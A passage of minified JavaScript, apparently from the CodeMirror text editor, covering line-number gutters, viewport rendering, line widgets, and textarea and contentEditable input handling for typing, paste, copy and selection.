gk=go.firstChild.offsetWidth,gl=go.offsetWidth-gk;gm.lineGutter.style.width="";gm.lineNumInnerWidth=Math.max(gk,gm.lineGutter.offsetWidth-gl)+1;gm.lineNumWidth=gm.lineNumInnerWidth+gl;gm.lineNumChars=gm.lineNumInnerWidth?gj.length:-1;gm.lineGutter.style.width=gm.lineNumWidth+"px";c5(gi);return true}return false}function et(gi,gj){return String(gi.lineNumberFormatter(gj+gi.firstLineNumber))}function dY(gi){return gi.scroller.getBoundingClientRect().left-gi.sizer.getBoundingClientRect().left}function aI(gj,gi,gk){var gl=gj.display;this.viewport=gi;this.visible=b7(gl,gj.doc,gi);this.editorIsHidden=!gl.wrapper.offsetWidth;this.wrapperHeight=gl.wrapper.clientHeight;this.wrapperWidth=gl.wrapper.clientWidth;this.oldDisplayWidth=dm(gj);this.force=gk;this.dims=fe(gj);this.events=[]}aI.prototype.signal=function(gj,gi){if(fj(gj,gi)){this.events.push(arguments)}};aI.prototype.finish=function(){for(var gi=0;gi<this.events.length;gi++){aE.apply(null,this.events[gi])}};function J(gi){var gj=gi.display;if(!gj.scrollbarsClipped&&gj.scroller.offsetWidth){gj.nativeBarWidth=gj.scroller.offsetWidth-gj.scroller.clientWidth;gj.heightForcer.style.height=cU(gi)+"px";gj.sizer.style.marginBottom=-gj.nativeBarWidth+"px";gj.sizer.style.borderRightWidth=cU(gi)+"px";gj.scrollbarsClipped=true}}function B(gr,gl){var gm=gr.display,gq=gr.doc;if(gl.editorIsHidden){ey(gr);return false}if(!gl.force&&gl.visible.from>=gm.viewFrom&&gl.visible.to<=gm.viewTo&&(gm.updateLineNumbers==null||gm.updateLineNumbers>=gm.viewTo)&&gm.renderedView==gm.view&&dc(gr)==0){return false}if(d6(gr)){ey(gr);gl.dims=fe(gr)}var gk=gq.first+gq.size;var go=Math.max(gl.visible.from-gr.options.viewportMargin,gq.first);var gp=Math.min(gk,gl.visible.to+gr.options.viewportMargin);if(gm.viewFrom<go&&go-gm.viewFrom<20){go=Math.max(gq.first,gm.viewFrom)}if(gm.viewTo>gp&&gm.viewTo-gp<20){gp=Math.min(gk,gm.viewTo)}if(a8){go=aW(gr.doc,go);gp=d3(gr.doc,gp)}var gj=go!=gm.viewFrom||gp!=gm.viewTo||gm.lastWrapHeight!=gl.wrapperHeight||gm.lastWrapWidth!=gl.wrapperWidth;cS(gr,go,gp);gm.viewOffset=bN(fg(gr.doc,gm.viewFrom));gr.display.mover.style.top=gm.viewOffset+"px";var gi=dc(gr);if(!gj&&gi==0&&!gl.force&&gm.renderedView==gm.view&&(gm.updateLineNumbers==null||gm.updateLineNumbers>=gm.viewTo)){return false}var gn=dP();if(gi>4){gm.lineDiv.style.display="none"}cn(gr,gm.updateLineNumbers,gl.dims);if(gi>4){gm.lineDiv.style.display=""}gm.renderedView=gm.view;if(gn&&dP()!=gn&&gn.offsetHeight){gn.focus()}d2(gm.cursorDiv);d2(gm.selectionDiv);gm.gutters.style.height=0;if(gj){gm.lastWrapHeight=gl.wrapperHeight;gm.lastWrapWidth=gl.wrapperWidth;eg(gr,400)}gm.updateLineNumbers=null;return true}function ck(gj,gm){var gi=gm.viewport;for(var gl=true;;gl=false){if(!gl||!gj.options.lineWrapping||gm.oldDisplayWidth==dm(gj)){if(gi&&gi.top!=null){gi={top:Math.min(gj.doc.height+bJ(gj.display)-cW(gj),gi.top)}}gm.visible=b7(gj.display,gj.doc,gi);if(gm.visible.from>=gj.display.viewFrom&&gm.visible.to<=gj.display.viewTo){break}}if(!B(gj,gm)){break}ba(gj);var gk=dB(gj);bD(gj);dA(gj,gk);eZ(gj,gk)}gm.signal(gj,"update",gj);if(gj.display.viewFrom!=gj.display.reportedViewFrom||gj.display.viewTo!=gj.display.reportedViewTo){gm.signal(gj,"viewportChange",gj,gj.display.viewFrom,gj.display.viewTo);gj.display.reportedViewFrom=gj.display.viewFrom;gj.display.reportedViewTo=gj.display.viewTo}}function dU(gj,gi){var gl=new aI(gj,gi);if(B(gj,gl)){ba(gj);ck(gj,gl);var gk=dB(gj);bD(gj);dA(gj,gk);eZ(gj,gk);gl.finish()}}function dA(gi,gj){gi.display.sizer.style.minHeight=gj.docHeight+"px";var gk=gj.docHeight+gi.display.barHeight;gi.display.heightForcer.style.top=gk+"px";gi.display.gutters.style.height=Math.max(gk+cU(gi),gj.clientHeight)+"px"}function ba(gp){var gn=gp.display;var gj=gn.lineDiv.offsetTop;for(var gk=0;gk<gn.view.length;gk++){var gq=gn.view[gk],gr;if(gq.hidden){continue}if(dL&&k<8){var gm=gq.node.offsetTop+gq.node.offsetHeight;gr=gm-gj;gj=gm}else{var gl=gq.node.getBoundingClientRect();gr=gl.bottom-gl.top}var go=gq.line.height-gr;if(gr<2){gr=aY(gn)}if(go>0.001||go<-0.001){f6(gq.line,gr);cc(gq.line);if(gq.rest){for(var gi=0;gi<gq.rest.length;gi++){cc(gq.rest[gi])}}}}}function cc(gi){if(gi.widgets){for(var gj=0;gj<gi.widgets.length;++gj){gi.widgets[gj].height=gi.widgets[gj].node.offsetHeight}}}function fe(gi){var gn=gi.display,gl={},gk={};var gm=gn.gutters.clientLeft;for(var go=gn.gutters.firstChild,gj=0;go;go=go.nextSibling,++gj){gl[gi.options.gutters[gj]]=go.offsetLeft+go.clientLeft+gm;gk[gi.options.gutters[gj]]=go.clientWidth}return{fixedPos:dY(gn),gutterTotalWidth:gn.gutters.offsetWidth,gutterLeft:gl,gutterWidth:gk,wrapperWidth:gn.wrapper.clientWidth}}function cn(gt,gk,gs){var gp=gt.display,gv=gt.options.lineNumbers;var gi=gp.lineDiv,gu=gi.firstChild;function go(gx){var gw=gx.nextSibling;if(c1&&b8&&gt.display.currentWheelTarget==gx){gx.style.display="none"}else{gx.parentNode.removeChild(gx)}return gw}var gq=gp.view,gn=gp.viewFrom;for(var gl=0;gl<gq.length;gl++){var gm=gq[gl];if(gm.hidden){}else{if(!gm.node||gm.node.parentNode!=gi){var gj=aF(gt,gm,gn,gs);gi.insertBefore(gj,gu)}else{while(gu!=gm.node){gu=go(gu)}var gr=gv&&gk!=null&&gk<=gn&&gm.lineNumber;if(gm.changes){if(di(gm.changes,"gutter")>-1){gr=false}ab(gt,gm,gn,gs)}if(gr){d2(gm.lineNumber);gm.lineNumber.appendChild(document.createTextNode(et(gt.options,gn)))}gu=gm.node.nextSibling}}gn+=gm.size}while(gu){gu=go(gu)}}function ab(gi,gk,gm,gn){for(var gj=0;gj<gk.changes.length;gj++){var gl=gk.changes[gj];if(gl=="text"){fm(gi,gk)}else{if(gl=="gutter"){dg(gi,gk,gm,gn)}else{if(gl=="class"){dH(gk)}else{if(gl=="widget"){ao(gi,gk,gn)}}}}}gk.changes=null}function fI(gi){if(gi.node==gi.text){gi.node=f3("div",null,null,"position: relative");if(gi.text.parentNode){gi.text.parentNode.replaceChild(gi.node,gi.text)}gi.node.appendChild(gi.text);if(dL&&k<8){gi.node.style.zIndex=2}}return gi.node}function ew(gj){var gi=gj.bgClass?gj.bgClass+" "+(gj.line.bgClass||""):gj.line.bgClass;if(gi){gi+=" CodeMirror-linebackground"}if(gj.background){if(gi){gj.background.className=gi}else{gj.background.parentNode.removeChild(gj.background);gj.background=null}}else{if(gi){var gk=fI(gj);gj.background=gk.insertBefore(f3("div",null,gi),gk.firstChild)}}}function dW(gi,gj){var gk=gi.display.externalMeasured;if(gk&&gk.line==gj.line){gi.display.externalMeasured=null;gj.measure=gk.measure;return gk.built}return eS(gi,gj)}function fm(gi,gl){var gj=gl.text.className;var gk=dW(gi,gl);if(gl.text==gl.node){gl.node=gk.pre}gl.text.parentNode.replaceChild(gk.pre,gl.text);gl.text=gk.pre;if(gk.bgClass!=gl.bgClass||gk.textClass!=gl.textClass){gl.bgClass=gk.bgClass;gl.textClass=gk.textClass;dH(gl)}else{if(gj){gl.text.className=gj}}}function dH(gj){ew(gj);if(gj.line.wrapClass){fI(gj).className=gj.line.wrapClass}else{if(gj.node!=gj.text){gj.node.className=""}}var gi=gj.textClass?gj.textClass+" "+(gj.line.textClass||""):gj.line.textClass;gj.text.className=gi||""}function dg(gq,go,gn,gp){if(go.gutter){go.node.removeChild(go.gutter);go.gutter=null}var gl=go.line.gutterMarkers;if(gq.options.lineNumbers||gl){var gj=fI(go);var gm=go.gutter=f3("div",null,"CodeMirror-gutter-wrapper","left: "+(gq.options.fixedGutter?gp.fixedPos:-gp.gutterTotalWidth)+"px; width: "+gp.gutterTotalWidth+"px");gq.display.input.setUneditable(gm);gj.insertBefore(gm,go.text);if(go.line.gutterClass){gm.className+=" "+go.line.gutterClass}if(gq.options.lineNumbers&&(!gl||!gl["CodeMirror-linenumbers"])){go.lineNumber=gm.appendChild(f3("div",et(gq.options,gn),"CodeMirror-linenumber CodeMirror-gutter-elt","left: "+gp.gutterLeft["CodeMirror-linenumbers"]+"px; width: "+gq.display.lineNumInnerWidth+"px"))}if(gl){for(var gk=0;gk<gq.options.gutters.length;++gk){var gi=gq.options.gutters[gk],gr=gl.hasOwnProperty(gi)&&gl[gi];if(gr){gm.appendChild(f3("div",[gr],"CodeMirror-gutter-elt","left: "+gp.gutterLeft[gi]+"px; width: "+gp.gutterWidth[gi]+"px"))}}}}}function ao(gi,gj,gm){if(gj.alignable){gj.alignable=null}for(var gl=gj.node.firstChild,gk;gl;gl=gk){var gk=gl.nextSibling;if(gl.className=="CodeMirror-linewidget"){gj.node.removeChild(gl)}}fu(gi,gj,gm)}function aF(gi,gk,gl,gm){var gj=dW(gi,gk);gk.text=gk.node=gj.pre;if(gj.bgClass){gk.bgClass=gj.bgClass}if(gj.textClass){gk.textClass=gj.textClass}dH(gk);dg(gi,gk,gl,gm);fu(gi,gk,gm);return gk.node}function fu(gi,gk,gl){f8(gi,gk.line,gk,gl,true);if(gk.rest){for(var gj=0;gj<gk.rest.length;gj++){f8(gi,gk.rest[gj],gk,gl,false)}}}function f8(gq,gr,gn,gp,gl){if(!gr.widgets){return}var gi=fI(gn);for(var gk=0,go=gr.widgets;gk<go.length;++gk){var gm=go[gk],gj=f3("div",[gm.node],"CodeMirror-linewidget");if(!gm.handleMouseEvents){gj.setAttribute("cm-ignore-events","true")}bG(gm,gj,gn,gp);gq.display.input.setUneditable(gj);if(gl&&gm.above){gi.insertBefore(gj,gn.gutter||gn.text)}else{gi.appendChild(gj)}ae(gm,"redraw")}}function bG(gl,gk,gi,gm){if(gl.noHScroll){(gi.alignable||(gi.alignable=[])).push(gk);var gj=gm.wrapperWidth;gk.style.left=gm.fixedPos+"px";if(!gl.coverGutter){gj-=gm.gutterTotalWidth;gk.style.paddingLeft=gm.gutterTotalWidth+"px"}gk.style.width=gj+"px"}if(gl.coverGutter){gk.style.zIndex=5;gk.style.position="relative";if(!gl.noHScroll){gk.style.marginLeft=-gm.gutterTotalWidth+"px"}}}var W=H.Pos=function(gi,gj){if(!(this instanceof W)){return new W(gi,gj)}this.line=gi;this.ch=gj};var cg=H.cmpPos=function(gj,gi){return gj.line-gi.line||gj.ch-gi.ch};function cj(gi){return W(gi.line,gi.ch)}function by(gj,gi){return cg(gj,gi)<0?gi:gj}function ar(gj,gi){return cg(gj,gi)<0?gj:gi}function r(gi){if(!gi.state.focused){gi.display.input.focus();cC(gi)}}function aj(gi){return gi.options.readOnly||gi.doc.cantEdit}var bn=null;function fZ(gw,gm,gk,gj,gv){var gu=gw.doc;gw.display.shift=false;if(!gj){gj=gu.sel}var gl=gw.state.pasteIncoming||gv=="paste";var gp=a1(gm),gi=null;if(gl&&gj.ranges.length>1){if(bn&&bn.join("\n")==gm){gi=gj.ranges.length%bn.length==0&&bT(bn,a1)}else{if(gp.length==gj.ranges.length){gi=bT(gp,function(gx){return[gx]})}}}for(var gn=gj.ranges.length-1;gn>=0;gn--){var go=gj.ranges[gn];var gt=go.from(),gs=go.to();if(go.empty()){if(gk&&gk>0){gt=W(gt.line,gt.ch-gk)}else{if(gw.state.overwrite&&!gl){gs=W(gs.line,Math.min(fg(gu,gs.line).text.length,gs.ch+fH(gp).length))}}}var gq=gw.curOp.updateInput;var gr={from:gt,to:gs,text:gi?gi[gn%gi.length]:gp,origin:gv||(gl?"paste":gw.state.cutIncoming?"cut":"+input")};bh(gw.doc,gr);ae(gw,"inputRead",gw,gr)}if(gm&&!gl){fW(gw,gm)}fG(gw);gw.curOp.updateInput=gq;gw.curOp.typing=true;gw.state.pasteIncoming=gw.state.cutIncoming=false}function bb(gk,gi){var gj=gk.clipboardData&&gk.clipboardData.getData("text/plain");if(gj){gk.preventDefault();cN(gi,function(){fZ(gi,gj,0,null,"paste")});return true}}function fW(gi,gm){if(!gi.options.electricChars||!gi.options.smartIndent){return}var gn=gi.doc.sel;for(var gl=gn.ranges.length-1;gl>=0;gl--){var gj=gn.ranges[gl];if(gj.head.ch>100||(gl&&gn.ranges[gl-1].head.line==gj.head.line)){continue}var go=gi.getModeAt(gj.head);var gp=false;if(go.electricChars){for(var gk=0;gk<go.electricChars.length;gk++){if(gm.indexOf(go.electricChars.charAt(gk))>-1){gp=ad(gi,gj.head.line,"smart");break}}}else{if(go.electricInput){if(go.electricInput.test(fg(gi.doc,gj.head.line).text.slice(0,gj.head.ch))){gp=ad(gi,gj.head.line,"smart")}}}if(gp){ae(gi,"electricInput",gi,gj.head.line)}}}function dk(gi){var gn=[],gk=[];for(var gl=0;gl<gi.doc.sel.ranges.length;gl++){var gj=gi.doc.sel.ranges[gl].head.line;var gm={anchor:W(gj,0),head:W(gj+1,0)};gk.push(gm);gn.push(gi.getRange(gm.anchor,gm.head))}return{text:gn,ranges:gk}}function fQ(gi){gi.setAttribute("autocorrect","off");gi.setAttribute("autocapitalize","off");gi.setAttribute("spellcheck","false")}function Y(gi){this.cm=gi;this.prevInput="";this.pollingFast=false;this.polling=new gh();this.inaccurateSelection=false;this.hasSelection=false;this.composing=null}function aX(){var gi=f3("textarea",null,null,"position: absolute; padding: 0; width: 1px; height: 1em; outline: none");var gj=f3("div",[gi],null,"overflow: hidden; position: relative; width: 3px; height: 0px;");if(c1){gi.style.width="1000px"}else{gi.setAttribute("wrap","off")}if(e2){gi.style.border="1px solid black"}fQ(gi);return gj}Y.prototype=aN({init:function(gk){var gj=this,gi=this.cm;var gn=this.wrapper=aX();var gl=this.textarea=gn.firstChild;gk.wrapper.insertBefore(gn,gk.wrapper.firstChild);if(e2){gl.style.width="0px"}bY(gl,"input",function(){if(dL&&k>=9&&gj.hasSelection){gj.hasSelection=null}gj.poll()});bY(gl,"paste",function(go){if(bb(go,gi)){return true}gi.state.pasteIncoming=true;gj.fastPoll()});function gm(gp){if(gi.somethingSelected()){bn=gi.getSelections();if(gj.inaccurateSelection){gj.prevInput="";gj.inaccurateSelection=false;gl.value=bn.join("\n");dM(gl)}}else{if(!gi.options.lineWiseCopyCut){return}else{var go=dk(gi);bn=go.text;if(gp.type=="cut"){gi.setSelections(go.ranges,null,Z)}else{gj.prevInput="";gl.value=go.text.join("\n");dM(gl)}}}if(gp.type=="cut"){gi.state.cutIncoming=true}}bY(gl,"cut",gm);bY(gl,"copy",gm);bY(gk.scroller,"paste",function(go){if(bc(gk,go)){return}gi.state.pasteIncoming=true;gj.focus()});bY(gk.lineSpace,"selectstart",function(go){if(!bc(gk,go)){cH(go)}});bY(gl,"compositionstart",function(){var go=gi.getCursor("from");gj.composing={start:go,range:gi.markText(go,gi.getCursor("to"),{className:"CodeMirror-composing"})}});bY(gl,"compositionend",function(){if(gj.composing){gj.poll();gj.composing.range.clear();gj.composing=null}})},prepareSelection:function(){var gj=this.cm,gn=gj.display,gm=gj.doc;var gi=fJ(gj);if(gj.options.moveInputWithCursor){var go=dV(gj,gm.sel.primary().head,"div");var gk=gn.wrapper.getBoundingClientRect(),gl=gn.lineDiv.getBoundingClientRect();gi.teTop=Math.max(0,Math.min(gn.wrapper.clientHeight-10,go.top+gl.top-gk.top));gi.teLeft=Math.max(0,Math.min(gn.wrapper.clientWidth-10,go.left+gl.left-gk.left))}return gi},showSelection:function(gk){var gi=this.cm,gj=gi.display;bS(gj.cursorDiv,gk.cursors);bS(gj.selectionDiv,gk.selection);if(gk.teTop!=null){this.wrapper.style.top=gk.teTop+"px";this.wrapper.style.left=gk.teLeft+"px"}},reset:function(gm){if(this.contextMenuPending){return}var gj,gl,gi=this.cm,go=gi.doc;if(gi.somethingSelected()){this.prevInput="";var gk=go.sel.primary();gj=db&&(gk.to().line-gk.from().line>100||(gl=gi.getSelection()).length>1000);var gn=gj?"-":gl||gi.getSelection();this.textarea.value=gn;if(gi.state.focused){dM(this.textarea)}if(dL&&k>=9){this.hasSelection=gn}}else{if(!gm){this.prevInput=this.textarea.value="";if(dL&&k>=9){this.hasSelection=null}}}this.inaccurateSelection=gj},getField:function(){return this.textarea},supportsTouch:function(){return false},focus:function(){if(this.cm.options.readOnly!="nocursor"&&(!eh||dP()!=this.textarea)){try{this.textarea.focus()}catch(gi){}}},blur:function(){this.textarea.blur()},resetPosition:function(){this.wrapper.style.top=this.wrapper.style.left=0},receivedFocus:function(){this.slowPoll()},slowPoll:function(){var gi=this;if(gi.pollingFast){return}gi.polling.set(this.cm.options.pollInterval,function(){gi.poll();if(gi.cm.state.focused){gi.slowPoll()}})},fastPoll:function(){var gj=false,gi=this;gi.pollingFast=true;function gk(){var gl=gi.poll();if(!gl&&!gj){gj=true;gi.polling.set(60,gk)}else{gi.pollingFast=false;gi.slowPoll()}}gi.polling.set(20,gk)},poll:function(){var gi=this.cm,gl=this.textarea,gm=this.prevInput;if(this.contextMenuPending||!gi.state.focused||(bt(gl)&&!gm)||aj(gi)||gi.options.disableInput||gi.state.keySeq){return false}var go=gl.value;if(go==gm&&!gi.somethingSelected()){return false}if(dL&&k>=9&&this.hasSelection===go||b8&&/[\uf700-\uf7ff]/.test(go)){gi.display.input.reset();return false}if(gi.doc.sel==gi.display.selForContextMenu){var gn=go.charCodeAt(0);if(gn==8203&&!gm){gm="\u200b"}if(gn==8666){this.reset();return this.cm.execCommand("undo")}}var gp=0,gj=Math.min(gm.length,go.length);while(gp<gj&&gm.charCodeAt(gp)==go.charCodeAt(gp)){++gp}var gk=this;cN(gi,function(){fZ(gi,go.slice(gp),gm.length-gp,null,gk.composing?"*compose":null);if(go.length>1000||go.indexOf("\n")>-1){gl.value=gk.prevInput=""}else{gk.prevInput=go}if(gk.composing){gk.composing.range.clear();gk.composing.range=gi.markText(gk.composing.start,gi.getCursor("to"),{className:"CodeMirror-composing"})}});return true},ensurePolled:function(){if(this.pollingFast&&this.poll()){this.pollingFast=false}},onKeyPress:function(){if(dL&&k>=9){this.hasSelection=null}this.fastPoll()},onContextMenu:function(gn){var gs=this,gt=gs.cm,gp=gt.display,gj=gs.textarea;var gr=co(gt,gn),gi=gp.scroller.scrollTop;if(!gr||d4){return}var gm=gt.options.resetSelectionOnContextMenu;if(gm&&gt.doc.sel.contains(gr)==-1){c3(gt,bV)(gt.doc,eT(gr),Z)}var go=gj.style.cssText;gs.wrapper.style.position="absolute";gj.style.cssText="position: fixed; width: 30px; height: 30px; top: "+(gn.clientY-5)+"px; left: "+(gn.clientX-5)+"px; z-index: 1000; background: "+(dL?"rgba(255, 255, 255, .05)":"transparent")+"; outline: none; border-width: 0; outline: none; overflow: hidden; opacity: .05; filter: alpha(opacity=5);";if(c1){var gu=window.scrollY}gp.input.focus();if(c1){window.scrollTo(null,gu)}gp.input.reset();if(!gt.somethingSelected()){gj.value=gs.prevInput=" "}gs.contextMenuPending=true;gp.selForContextMenu=gt.doc.sel;clearTimeout(gp.detectingSelectAll);function gl(){if(gj.selectionStart!=null){var gv=gt.somethingSelected();var gw="\u200b"+(gv?gj.value:"");gj.value="\u21da";gj.value=gw;gs.prevInput=gv?"":"\u200b";gj.selectionStart=1;gj.selectionEnd=gw.length;gp.selForContextMenu=gt.doc.sel}}function gq(){gs.contextMenuPending=false;gs.wrapper.style.position="relative";gj.style.cssText=go;if(dL&&k<9){gp.scrollbars.setScrollTop(gp.scroller.scrollTop=gi)}if(gj.selectionStart!=null){if(!dL||(dL&&k<9)){gl()}var gv=0,gw=function(){if(gp.selForContextMenu==gt.doc.sel&&gj.selectionStart==0&&gj.selectionEnd>0&&gs.prevInput=="\u200b"){c3(gt,eE.selectAll)(gt)}else{if(gv++<10){gp.detectingSelectAll=setTimeout(gw,500)}else{gp.input.reset()}}};gp.detectingSelectAll=setTimeout(gw,200)}}if(dL&&k>=9){gl()}if(ga){es(gn);var gk=function(){ee(window,"mouseup",gk);setTimeout(gq,20)};bY(window,"mouseup",gk)}else{setTimeout(gq,50)}},setUneditable:fV,needsContentAttribute:false},Y.prototype);function dw(gi){this.cm=gi;this.lastAnchorNode=this.lastAnchorOffset=this.lastFocusNode=this.lastFocusOffset=null;this.polling=new gh();this.gracePeriod=false}dw.prototype=aN({init:function(gl){var gk=this,gi=gk.cm;var gm=gk.div=gl.lineDiv;gm.contentEditable="true";fQ(gm);bY(gm,"paste",function(gn){bb(gn,gi)});bY(gm,"compositionstart",function(gr){var gq=gr.data;gk.composing={sel:gi.doc.sel,data:gq,startData:gq};if(!gq){return}var go=gi.doc.sel.primary();var gn=gi.getLine(go.head.line);var gp=gn.indexOf(gq,Math.max(0,go.head.ch-gq.length));if(gp>-1&&gp<=go.head.ch){gk.composing.sel=eT(W(go.head.line,gp),W(go.head.line,gp+gq.length))}});bY(gm,"compositionupdate",function(gn){gk.composing.data=gn.data});bY(gm,"compositionend",function(go){var gn=gk.composing;if(!gn){return}if(go.data!=gn.startData&&!/\u200b/.test(go.data)){gn.data=go.data}setTimeout(function(){if(!gn.handled){gk.applyComposition(gn)}if(gk.composing==gn){gk.composing=null}},50)});bY(gm,"touchstart",function(){gk.forceCompositionEnd()});bY(gm,"input",function(){if(gk.composing){return}if(!gk.pollContent()){cN(gk.cm,function(){ah(gi)})}});function gj(gq){if(gi.somethingSelected()){bn=gi.getSelections();if(gq.type=="cut"){gi.replaceSelection("",null,"cut")}}else{if(!gi.options.lineWiseCopyCut){return}else{var go=dk(gi);bn=go.text;if(gq.type=="cut"){gi.operation(function(){gi.setSelections(go.ranges,0,Z);gi.replaceSelection("",null,"cut")})}}}if(gq.clipboardData&&!e2){gq.preventDefault();gq.clipboardData.clearData();gq.clipboardData.setData("text/plain",bn.join("\n"))}else{var gp=aX(),gr=gp.firstChild;gi.display.lineSpace.insertBefore(gp,gi.display.lineSpace.firstChild);gr.value=bn.join("\n");var gn=document.activeElement;dM(gr);setTimeout(function(){gi.display.lineSpace.removeChild(gp);gn.focus()},50)}}bY(gm,"copy",gj);bY(gm,"cut",gj)},prepareSelection:function(){var gi=fJ(this.cm,false);gi.focus=this.cm.state.focused;return gi},showSelection:function(gi){if(!gi||!this.cm.display.view.length){return}if(gi.focus){this.showPrimarySelection()}this.showMultipleSelections(gi)},showPrimarySelection:function(){var gm=window.getSelection(),gp=this.cm.doc.sel.primary();var gn=az(this.cm,gm.anchorNode,gm.anchorOffset);var gr=az(this.cm,gm.focusNode,gm.focusOffset);if(gn&&!gn.bad&&gr&&!gr.bad&&cg(ar(gn,gr),gp.from())==0&&cg(by(gn,gr),gp.to())==0){return}var gl=cA(this.cm,gp.from());var gq=cA(this.cm,gp.to());if(!gl&&!gq){return}var gt=this.cm.display.view;var go=gm.rangeCount&&gm.getRangeAt(0);if(!gl){gl={node:gt[0].measure.map[2],offset:0}}else{if(!gq){var gk=gt[gt.length-1].measure;var gj=gk.maps?gk.maps[gk.maps.length-1]:gk.map;gq={node:gj[gj.length-1],offset:gj[gj.length-2]-gj[gj.length-3]}}}try{var gi=cm(gl.node,gl.offset,gq.offset,gq.node)}catch(gs){}if(gi){gm.removeAllRanges();gm.addRange(gi);if(go&&gm.anchorNode==null){gm.addRange(go)}else{if(cp){this.startGracePeriod()}}}this.rememberSelection()},startGracePeriod:function(){var gi=this;clearTimeout(this.gracePeriod);this.gracePeriod=setTimeout(function(){gi.gracePeriod=false;if(gi.selectionChanged()){gi.cm.operation(function(){gi.cm.curOp.selectionChanged=true})}},20)},showMultipleSelections:function(gi){bS(this.cm.display.cursorDiv,gi.cursors);bS(this.cm.display.selectionDiv,gi.selection)},rememberSelection:function(){var gi=window.getSelection();this.lastAnchorNode=gi.anchorNode;this.lastAnchorOffset=gi.anchorOffset;this.lastFocusNode=gi.focusNode;this.lastFocusOffset=gi.focusOffset},selectionInEditor:function(){var gj=window.getSelection();if(!gj.rangeCount){return false}var gi=gj.getRangeAt(0).commonAncestorContainer;return gb(this.div,gi)},focus:function(){if(this.cm.options.readOnly!="nocursor"){this.div.focus()}},blur:function(){this.div.blur()},getField:function(){return this.div},supportsTouch:function(){return true},receivedFocus:function(){var gi=this;if(this.selectionInEditor()){this.pollSelection()}else{cN(this.cm,function(){gi.cm.curOp.selectionChanged=true})}function gj(){if(gi.cm.state.focused){gi.pollSelection();gi.polling.set(gi.cm.options.pollInterval,gj)}}this.polling.set(this.cm.options.pollInterval,gj)},selectionChanged:function(){var gi=window.getSelection();return gi.anchorNode!=this.lastAnchorNode||gi.anchorOffset!=this.lastAnchorOffset||gi.focusNode!=this.lastFocusNode||gi.focusOffset!=this.lastFocusOffset},pollSelection:function(){if(!this.composing&&!this.gracePeriod&&this.selectionChanged()){var gl=window.getSelection(),gi=this.cm;this.rememberSelection();var gj=az(gi,gl.anchorNode,gl.anchorOffset);var gk=az(gi,gl.focusNode,gl.focusOffset);if(gj&&gk){cN(gi,function(){bV(gi.doc,eT(gj,gk),Z);if(gj.bad||gk.bad){gi.curOp.selectionChanged=true}})}}},pollContent:function(){var gs=this.cm,gC=gs.display,gA=gs.doc.sel.primary();var gB=gA.from(),gm=gA.to();if(gB.line<gC.viewFrom||gm.line>gC.viewTo-1){return false}var gp;if(gB.line==gC.viewFrom||(gp=ds(gs,gB.line))==0){var gn=bO(gC.view[0].line);var gr=gC.view[0].node}else{var gn=bO(gC.view[gp].line);var gr=gC.view[gp-1].node.nextSibling}var gz=ds(gs,gm.line);if(gz==gC.view.length-1){var gu=gC.viewTo-1;var gx=gC.lineDiv.lastChild}else{var gu=bO(gC.view[gz+1].line)-1;var gx=gC.view[gz+1].node.previousSibling}var gD=a1(f0(gs,gr,gx,gn,gu));var gw=f5(gs.doc,W(gn,0),W(gu,fg(gs.doc,gu).text.length));while(gD.length>1&&gw.length>1){if(fH(gD)==fH(gw)){gD.pop();gw.pop();gu--}else{if(gD[0]==gw[0]){gD.shift();gw.shift();gn++}else{break}}}var gy=0,gk=0;var gt=gD[0],gj=gw[0],gi=Math.min(gt.length,gj.length);while(gy<gi&&gt.charCodeAt(gy)==gj.charCodeAt(gy)){++gy}var gq=fH(gD),gE=fH(gw);var gl=Math.min(gq.length-(gD.length==1?gy:0),gE.length-(gw.length==1?gy:0));while(gk<gl&&gq.charCodeAt(gq.length-gk-1)==gE.charCodeAt(gE.length-gk-1)){++gk}gD[gD.length-1]=gq.slice(0,gq.length-gk);gD[0]=gD[0].slice(gy);var go=W(gn,gy);var gv=W(gu,gw.length?fH(gw).length-gk:0);if(gD.length>1||gD[0]||cg(go,gv)){a2(gs.doc,gD,go,gv,"+input");return true}},ensurePolled:function(){this.forceCompositionEnd()},reset:function(){this.forceCompositionEnd()},forceCompositionEnd:function(){if(!this.composing||this.composing.handled){return}this.applyComposition(this.composing);this.composing.handled=true;this.div.blur();this.div.focus()},applyComposition:function(gi){if(gi.data&&gi.data!=gi.startData){c3(this.cm,fZ)(this.cm,gi.data,0,gi.sel)}},setUneditable:function(gi){gi.setAttribute("contenteditable","false")},onKeyPress:function(gi){gi.preventDefault();c3(this.cm,fZ)(this.cm,String.fromCharCode(gi.charCode==null?gi.keyCode:gi.charCode),0)},onContextMenu:fV,resetPosition:fV,needsContentAttribute:true},dw.prototype);function cA(go,gm){var gn=fc(go,gm.line);if(!gn||gn.hidden){return null}var gq=fg(go.doc,gm.line);var gj=cu(gn,gq,gm.line);var gk=a(gq),gl="left";if(gk){var gi=aG(gk,gm.ch);gl=gi%2?"right":"left"}var gp=aL(gj.map,gm.ch,gl);gp.offset=gp.collapse=="right"?gp.end:gp.start;return gp}function eu(gj,gi){if(gi){gj.bad=true}return gj}function az(gi,gl,gn){var gm;if(gl==gi.display.lineDiv){gm=gi.display.lineDiv.childNodes[gn];if(!gm){return eu(gi.clipPos(W(gi.display.viewTo-1)),true)}gl=null;gn=0}else{for(gm=gl;;gm=gm.parentNode){if(!gm||gm==gi.display.lineDiv){return null}if(gm.parentNode&&gm.parentNode==gi.display.lineDiv){break}}}for(var gk=0;gk<gi.display.view.length;gk++){var gj=gi.display.view[gk];if(gj.node==gm){return aa(gj,gl,gn)}}}function aa(gq,gm,go){var gk=gq.text.firstChild,gl=false;if(!gm||!gb(gk,gm)){return eu(W(bO(gq.line),0),true)}if(gm==gk){gl=true;gm=gk.childNodes[go];go=0;if(!gm){var gw=gq.rest?fH(gq.rest):gq.line;return eu(W(bO(gw),gw.text.length),gl)}}var gn=gm.nodeType==3?gm:null,gu=gm;if(!gn&&gm.childNodes.length==1&&gm.firstChild.nodeType==3){gn=gm.firstChild;if(go){go=gn.nodeValue.length}}while(gu.parentNode!=gk){gu=gu.parentNode}var gj=gq.measure,gs=gj.maps;function gp(gz,gE,gB){for(var gD=-1;gD<(gs?gs.length:0);gD++){var gy=gD<0?gj.map:gs[gD];for(var gC=0;gC<gy.length;gC+=3){var gA=gy[gC+2];if(gA==gz||gA==gE){var gF=bO(gD<0?gq.line:gq.rest[gD]);var gx=gy[gC]+gB;if(gB<0||gA!=gz){gx=gy[gC+(gB?1:0)]}return W(gF,gx)}}}}var gv=gp(gn,gu,go);if(gv){return eu(gv,gl)}for(var 